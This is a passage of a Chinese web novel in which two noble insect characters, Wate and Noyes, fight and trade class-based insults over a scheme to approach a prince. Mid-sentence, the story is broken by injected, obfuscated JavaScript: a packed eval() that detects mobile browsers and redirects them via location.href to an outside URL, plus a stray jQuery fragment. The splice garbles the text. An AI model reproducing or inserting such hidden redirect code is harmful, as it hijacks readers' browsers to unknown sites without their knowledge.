“你笑什么!”沃特不耐眯起眼睛,一脚踹断旁边需两人环抱的古树。
“这…咳咳、不是你要的么?”诺伊斯咳着血,手背漫不经心擦过唇角,扯过伤处让他一阵身体不自然抽搐着。
他强装镇定,或者说没办法。是他轻敌不知道这次沃特也在特训之中,他以为沃特看在雪因的身份不敢对他下手,却低估了对面这个蠢货。
“是您亲手将我推入殿下休息室的。”
“您的家族…”诺伊斯忍不住再次大口吐血,却毫不在意地用手背抹去精致的脸上闪着阴鸷的光,即使被压制也毫不显弱势,“好不容易得到这次接近殿下的机会,让您去…临门一脚您害怕了。”
他歪歪头,露出嘲讽,“您知道,若是殿下拒绝,您必死无疑。所以您需要一只替死鬼,一条忠实的狗去试水…我说得对吗,尊贵的沃特少爷?”
“闭嘴。”沃特双眼赤红,语气凶狠且理直气壮,“那是你这种贱虫该做的,让你做是你的荣幸。再说,那天为什么你会出现在我身边?等这个机会已经很久了吧?”
贵族里从没有真正的蠢货。即使当时被恐惧掌握了情绪,事后沃特也很快反应过来,这事事露出蹊跷。从一开始家族传来信息他毫不避讳地与这个来自底层伏小做低的雌虫谈论家族计划,到后来诺伊斯不断吹捧着他能力强能得到家族重视,一边状若无意地提醒——“万一殿下动怒…不过以您家族的势力,最多也就是断几条腿一辈子在轮椅上,总不至于丧命…”
他害怕了。
寻常伤势对S级雌虫来说当然能快速愈合。但雪因背后站着雄虫协会,是三大家族中心唯一的宝贝雄子,帝国最为珍贵容不下一点闪失的珍贵雄虫。
所以哪怕他得到这次家族和…联手给他制造出与殿下独处的机会,也并不意味着对立两大势力会放过他。
况且如果他引诱失败,恐怕家族会第一个牺牲他,用他永恒的残缺与痛苦向上位者谢罪。
在他惶恐不知所措的时候,诺伊斯就这么恰好站在他身边,被慌乱的他亲手推入了那间休息室…
可那又怎样?狗就是要为主人办事,就算死掉也是诺伊斯的命贱,为主人赴死是天经地义、是这个贱虫的荣耀!而不是反咬他一口!
“自从我把你从那个垃圾星球带进帝星,你一直示弱装得温顺卑微,做我脚边最听话的狗…是、是我大意和雌父聊天竟没防备你这个……”他斜睨着诺伊斯,从齿缝里碾出两个字,“东西。”
舌尖抵着齿,两个字,轻飘飘却带着诺伊斯永远摆脱不掉的身份。底层雌虫永远是消耗品,不配有姓氏,不配有尊严,没有虫会防备一个随处可见不起眼的东西。
敢么?谁也不会觉得他们敢反抗,等级与身份的鸿沟不可逾越,这就是规则。
“你嫉妒了吧?”诺伊斯忽然笑起来,脸上有一道刚被树枝擦过,不断溢出血珠的伤,却毫不影响他紫眸却亮得惊人,“想不到我这试水的石头非但没死,反而得到了殿下的怜爱。”
示弱换不来仁慈,只会暴露软弱。再说,他也不想忍。
他想,多半是这段时间被雪因惯坏了。沃特迟迟不敢对他下杀手,分明是想继续利用他铺路,做梦!只要他活着,谁都别想靠近雪因!
“你!诺伊斯,你找死——!”沃特被彻底激怒,周身杀气暴涨。
“来!来啊!杀了我!你杀了我!你敢么!!”诺伊斯嘶声大笑,血沫溅上唇角,“然后等着殿下的怒火降临在你、和你的整个家族头上!”
他笑得浑身发颤,每一个字都淬着血与恨:“真可怜,到时候你绝对会生不如死…噢,对了,还有你的家族、咳咳……真值啊,我一个你看不起的东西,把你整个家族来给我陪葬,哈哈哈哈……”
他笑得很骄纵,努力学着雪因、贵族们平日的样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513812|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,微微扬起下巴带着蔑视一切的眼神。试图掩饰恐惧。
身体却因剧痛而不受控地颤抖,疼痛从各处传来反倒是不知那一处更痛了,他也不在乎。
身体既然已经败了,精神上就必须赢。他像只保护领地,凶狠露出稚嫩尚未锋利乳牙的幼崽恐吓着对方。
沃特咬紧牙关,不自觉地后退了半步。
他死死盯着诺伊斯,眼中的怒火渐渐冷却,眼睛慢慢溢出厌恶。半响,他陈诉着:“贱虫,和你雌父一样贱。”
诺伊斯浑身一颤,凶狠地话语堵在喉间,拳头不自觉捏起,指节泛白。
沃特语气不带情绪,表情带着贵族惯有的傲气,像只是在陈诉一个再不起眼的事实,反而让诺伊斯感到深深的绝望和羞辱。
“该不会你雌父救我也是设计的吧?拿命来给他独子换一个攀附荣华富贵、来到帝星的机会…真可怜,就算你能攀上殿下又如何,没人将你看在眼里,甚至那几位都不屑于来威胁你。”
诺伊斯死死瞪着他,想生气、想暴怒、想打烂这个贵族雌虫的嘴,又被‘雌父’两字硬生生堵住喉。
——你要忍,忍到站在顶峰。
——抓住一切机会,直到让我们血液永远流淌在顶层。
诺伊斯嘴唇张合几下,眼神湿润了起来,最终只能挤出虚弱的一句:“不许你提我雌父!”
“呵,贱虫!一家子命都贱。”沃特冷笑,“我雌父当初就不该心软,答应让你做我的伴读。”
“……”
“你雌父之所以答应让我做你的伴读,不过是想为你博取一个‘抚恤战死平民子嗣’的美名。可惜你雌父养出你这么一个蠢货…”诺伊斯狠狠嘲讽沃特。
为他,也为死去的雌父。
不想忍。
凭什么他已经走到了今天这个位置,还要忍受这些羞辱。
——你做什么都可以。
雪因说这句话的时候格外认真。看着他的眼神总是很软,抱着他的动作也很轻,会为他戴上数不清象征身份的名贵物品。仿佛他是什么无比尊贵的虫,而不是随处可见的一个…东西。
还会珍重轻吻在他指尖,带着酥麻柔软的暖意,一点点拂去来时的阴影。
高等级雌虫可以上战场杀敌换军功获得荣耀,而他在用自己的方式努力抓住一切机会奋力往上爬,他从不认为自己比谁低贱。
“是么?至少我这个蠢货不会让我雌父拿命来换前程。”沃特开口。
“草,你去死吧。”诺伊斯双目赤红,不顾重伤的身躯,握紧拳头冲了上去,却被沃特轻易踹飞,重重撞在树上。
“哈哈哈…”诺伊斯挣扎着从地上爬起,身上快被血浸透,“对,就是你看不起的我这种贱虫,现在和殿下在一起,是他最为宠爱的雌虫。”
“以后,我的、我雌父的血脉,你看不起的低贱的血脉,会永远流淌在你够不到的顶层。”诺伊斯眼睛带着水意,“就算今天被你踩在脚底又怎样?以后你看到我的虫崽——”
他剧烈咳嗽着,浑身脏污却依然扬起骄纵的笑,在阳光下肆意扬起头:“…只会有跪下的份。”
……
“是么?”沃特愣了愣,眼中的暴怒沉淀为极致的危险,他扯动嘴角,露出一个冰冷彻骨的笑容:“那还真是…多谢你的提醒。”